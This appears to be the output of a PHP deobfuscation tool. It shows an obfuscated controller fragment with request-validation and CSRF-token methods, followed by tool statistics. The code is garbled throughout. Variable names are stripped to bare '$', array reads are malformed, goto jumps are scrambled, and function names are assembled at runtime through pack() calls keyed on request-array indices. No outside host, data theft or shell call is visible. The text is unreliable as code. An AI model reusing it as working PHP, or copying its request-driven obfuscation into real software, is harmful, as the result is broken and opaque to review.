sB_1bPL_KL;;;;;;;;xMt2M0fDaX:$=[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x064-0x014*0x05],$_GET[][0x082]))=>$,call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x064-0x014*0x05],$_GET[][0x0083]))=>$,call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00084]))=>Request::instance()->server(pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x000085])),pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x0000086])=>$];;;;;;;;$=$?$:($this->request->param(config(call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x00008a]))))?pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x000008b]):$this->responseType);;;;;;;;if(isset($[pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x08c])])){goto KfhF7GSUQS;}$=$>=0x03e8|| $<0x0c8?0x0c8:$;goto I4R_0jUGzK;;;;;;;;goto Woe5AUKq68;;;;;;;;sB_1bPL_KL:}protected function beforeAction($, $=array()){goto W0beb0YupH;;;;;;;;N9fqg4vZzF:goto DIshtGqnrI;;;;;;;;a4WWPrjS18:if(!is_string($[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00008f]))])){goto KZq61OFygB;}$[pack($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x0000090])]=explode(pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x00093]),$[pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x000094])]);KZq61OFygB:goto pvxLm5mgZF;;;;;;;;DKIWRxRP1L:$[call_user_func_array(pack($_GET[][0x064-0x014*0x05],$_GET[][0x00043]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x0000095]))]=explode(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x096]),$[pack($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x0097])]);;;;;;;;byDMSvOnSS:if(in_array($this->request->action(),$[call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x00003*0x000009-0x0001b],$_GET[][0x000009a]))])){goto ycN9HmR8Ov;}return;ycN9HmR8Ov:goto N9fqg4vZzF;;;;;;;;pvxLm5mgZF:if(!in_array($this->request->action(),$[pack($_GET[][0x064-0x014*0x05],$_GET[][0x09b])])){goto FE2thpmPBN;}return;FE2thpmPBN:DIshtGqnrI:call_user_func([$this,$]);;;;;;;;goto eDu2ZFzkLz;;;;;;;;W0beb0YupH:if(isset($[call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x00009e]))])){goto W5o_NTW2Dr;}if(isset($[pack($_GET[][0x0f-0x05+0x0007-0x00011],$_GET[][0x000009f])])){goto a4WWPrjS18;}goto DIshtGqnrI;W5o_NTW2Dr:if(!is_string($[call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x0a0]))])){goto byDMSvOnSS;}goto DKIWRxRP1L;eDu2ZFzkLz:}protected function validateFailException($=true){$this->failException=$;;;;;;;;return $this;;;;;;;;}protected function validate($, $, $=array(), $=false, $=null){goto a3akHQD1Yr;;;;;;;;a3akHQD1Yr:if(is_array($)){goto liEjAGq085;}if(!strpos($,pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00003a]))){goto jdu7f94NZw;}list($,$)=explode(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00003a]),$);jdu7f94NZw:$=Loader::validate($);;;;;;;;goto IuAeqJn0lc;;;;;;;;IuAeqJn0lc:!empty($)&& $->scene($);;;;;;;;goto Qxuuyuz4Q1;;;;;;;;liEjAGq085:$=Loader::validate();;;;;;;;$->rule($);;;;;;;;goto JzqJOzvg5i;;;;;;;;sDGPhbzatR:$->message($);;;;;;;;uUDijh_iwS:if(!($&& is_callable($))){goto JJJIRsBB_T;}call_user_func_array($,[$,&$]);JJJIRsBB_T:goto jUHuqW6cZX;;;;;;;;JzqJOzvg5i:Qxuuyuz4Q1:if(!($|| $this->batchValidate)){goto ifWAOt4DZX;}$->batch(!0);ifWAOt4DZX:if(!is_array($)){goto uUDijh_iwS;}goto sDGPhbzatR;PoFtYUmJrI:Cgj6YfHqnl:return !0;;;;;;;;goto J34jr7C64D;;;;;;;;jUHuqW6cZX:if($->check($)){goto Cgj6YfHqnl;}if(!$this->failException){goto mYZBd7gNCM;}throw new ValidateException($->getError());mYZBd7gNCM:return $->getError();;;;;;;;goto PoFtYUmJrI;;;;;;;;J34jr7C64D:}protected function token(){$=$this->request->param(call_user_func_array(pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x00048]),array($_GET[][0x064-0x014*0x05],$_GET[][0x00b5])));;;;;;;;if(Validate::make()->check([call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0000b7]))=>$],[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x00000b8]))=>pack($_GET[][0x006/0x0002*0x00003-0x000009],$_GET[][0x0b9])])){goto ec2a33qGQy;}$this->error(__(pack($_GET[][(0x05+0x006+0x0007-0x000012)*0],$_GET[][0x00ba])),[call_user_func_array(call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array(call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])).chr(0x050).chr(0x00061).chr(0x0000063).chr(0x0006b).call_user_func_array("pack",array($_SERVER[][100-20*5],$_SERVER[][0x000001d])),array($_GET[][0x064-0x014*0x05],$_GET[][0x0003e])),array($_GET[][0x000004+0x05-0x00003*0x00003],$_GET[][0x000bb]))=>$this->request->token()]);ec2a33qGQy:$this->request->token();;;;;;;;}}
?>

Function Calls

None

Variables

None

Stats

MD5 37e4c70eaf17a50a523c827c220d853e
Eval Count 0
Decode Time 80 ms